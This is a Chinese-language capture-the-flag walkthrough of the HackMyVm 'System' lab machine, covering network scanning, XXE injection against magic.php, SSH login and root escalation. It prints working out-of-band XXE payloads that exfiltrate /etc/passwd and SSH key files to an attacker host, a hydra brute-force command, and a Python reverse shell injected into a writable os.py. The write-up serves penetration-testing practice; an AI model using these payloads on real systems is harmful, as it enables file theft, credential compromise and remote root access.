渗透测试练习​No.78 HackMyVm System

admin 2022年4月18日11:48:08评论75 views字数 3300阅读11分0秒阅读模式

渗透测试练习​No.78 HackMyVm System

靶机信息

下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Aqua
网盘链接:https://pan.baidu.com/s/1OjMwuU6F1V98x2UnLz-eHA?pwd=xcvx

靶场: HackMyVm.eu

靶机名称: System

难度: 简单

发布时间: 2022年4月6日

提示信息:

目标: user.txt和root.txt


实验环境

攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only

靶机:Vbox linux IP自动获取 网卡host-Only


信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo netdiscover -r 10.0.0.0/24 -i eth1

渗透测试练习​No.78 HackMyVm System

扫描到主机地址为10.0.0.137

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 10.0.0.137 -oN nmap.log

渗透测试练习​No.78 HackMyVm System

扫描到开放22和80端口,先来看看80端口

Web渗透

渗透测试练习​No.78 HackMyVm System

渗透测试练习​No.78 HackMyVm System

访问后是一个注册页面,查看源码跳转到了js文件的XMLFunction方法,再来看看js文件

view-source:http://10.0.0.137/js/jquery.main.js

渗透测试练习​No.78 HackMyVm System

查看js文件发现数据被提交到magic.php页面中,提交账号密码抓个包看看

渗透测试练习​No.78 HackMyVm System

猜测是XXE实体注入

XXE实体注入攻击

1。准备dtd文件,在dtd文件中读取/etc/passwd文件并用base64编码

a.dtd

<!ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % b  "<!ENTITY shell SYSTEM 'http://10.0.0.3:8000/%a;'>">
%b;

2。在a.dtd目录下开启HTTP服务

python3 -m http.server

渗透测试练习​No.78 HackMyVm System

3。构造payload

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [

      <!ENTITY % file SYSTEM "http://10.0.0.3:8000/a.dtd">

      %file;

      ]>



<b>&shell;</b>

渗透测试练习​No.78 HackMyVm System

提交payload

渗透测试练习​No.78 HackMyVm System

拿到passwd文件内容,用base64转换

渗透测试练习​No.78 HackMyVm System

解码后发现普通用户david,继续收集敏感信息

修改a.dtd文件,尝试读取/home/david/.ssh/id_rsa文件

<!ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/home/david/.ssh/id_rsa">
<!ENTITY % b  "<!ENTITY shell SYSTEM 'http://10.0.0.3:8000/%a;'>">
%b;

渗透测试练习​No.78 HackMyVm System

读不到这个文件,尝试读取id_rsa.pub

渗透测试练习​No.78 HackMyVm System

渗透测试练习​No.78 HackMyVm System

公钥可以读取,猜测还是有id_rsa文件,只是没权限

尝试对david暴破密码

hydra -l david -P /usr/share/wordlists/rockyou.txt 10.0.0.137 ssh -t 50

跑一晚上也没跑出来密码,隔了一天后修改payload再次测试

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE test [

   <!ENTITY file SYSTEM "file:///etc/passwd">]>

<details><email>&file;©right;</email><password>123</password></details>

渗透测试练习​No.78 HackMyVm System

看起来简单多了,再试尝试读取id_rsa文件

payload

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE test [

  <!ENTITY file SYSTEM "file:///home/david/.ssh/id_rsa">]>

<details><email>&file;©right;</email><password>123</password></details>

渗透测试练习​No.78 HackMyVm System

拿到key,尝试SSH便当

chmod 600 id_rsa
ssh [email protected] -i id_rsa

渗透测试练习​No.78 HackMyVm System

需要密码无法登录,(在这个位置卡了几天今天看到其他人写的wp才知道这个id_rsa是用来迷惑你的,要做模糊测试找出其他文件)

模糊测试

wfuzz -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/quickhits.txt -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY file SYSTEM "file:///home/david/FUZZ">]><details><email>&file;©right;</email><password>123</password></details>' --hh 85  http://10.0.0.137/magic.php

渗透测试练习​No.78 HackMyVm System

发现用户目录下的.viminfo(vi程序的信息文件,主要用于记录vi的状态信息)文件,访问看看

渗透测试练习​No.78 HackMyVm System

发现mypass.txt文件,来访问下

渗透测试练习​No.78 HackMyVm System

拿到密码,尝试登录SSH

ssh [email protected]

渗透测试练习​No.78 HackMyVm System

登录成功,来找下敏感信息

ls
cat user.txt

渗透测试练习​No.78 HackMyVm System

拿到user.txt,上传辅助脚本检查敏感信息

1。攻击机在脚本目录下开启HTTP服务

python3 -m http.server

渗透测试练习​No.78 HackMyVm System

2。靶机下载辅助脚本并执行

cd /tmp
wget http://10.0.0.3:8000/pspy64
chmod +x pspy64
./pspy64

渗透测试练习​No.78 HackMyVm System

渗透测试练习​No.78 HackMyVm System

发现/opt/suid.py脚本以root身份定时执行,来看看这个文件

cd /opt
ls -al
cat suid.py

渗透测试练习​No.78 HackMyVm System

脚本内容:

1。首先读取/home/david下的cmd.txt文件

2。读取后再到/tmp目录下写入suid.txt文件

3。判断如果/tmp/suid.txt路径为真,便对/bin/bash添加S权限

尝试一下:

1。/home/david目录下创建cmd.txt

cd ~
echo 'aaa' >cmd.txt

2。等待1分钟内查看/tmp目录下是否存在suid.txt文件

ls /tmp/suid.txt

3。发现suid.txt后检查 /bin/bash的权限

ls -al /bin/bash

渗透测试练习​No.78 HackMyVm System

创建cmd.txt文件后在/tmp/目录下发现脚本创建的suid.txt,但不知何原因并没有将/bin/bash加上S权限 。(看来这个脚本也是用来迷惑我们的)

再来看下suid.py脚本内容

渗透测试练习​No.78 HackMyVm System

这里引用了system,但是下面执行的是os.system所以会出错。这里引用os模块的system我们可以尝试利用system反弹shell到攻击机,先来看下os.py是否有写入权限

find / -name os.py 2>/dev/null
ls -al /usr/lib/python3.9/os.py

渗透测试练习​No.78 HackMyVm System

发现写入权限 ,现在来修改下os.py。

1。打开os.py并且底部添加反弹shell

vi /usr/lib/python3.9/os.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.3",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

渗透测试练习​No.78 HackMyVm System

2。攻击机监听3333端口,并等待1分钟内执行脚本

nc -lvvp 3333

渗透测试练习​No.78 HackMyVm System

反弹成功,拿到root权限,来找下flag

ls
cat root.txt

渗透测试练习​No.78 HackMyVm System

拿到root.txt,游戏结束。

渗透测试练习​No.78 HackMyVm System

渗透测试练习​No.78 HackMyVm System



原文始发于微信公众号(伏波路上学安全):渗透测试练习​No.78 HackMyVm System

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月18日11:48:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试练习​No.78 HackMyVm Systemhttp://cn-sec.com/archives/921636.html

发表评论

匿名网友 填写信息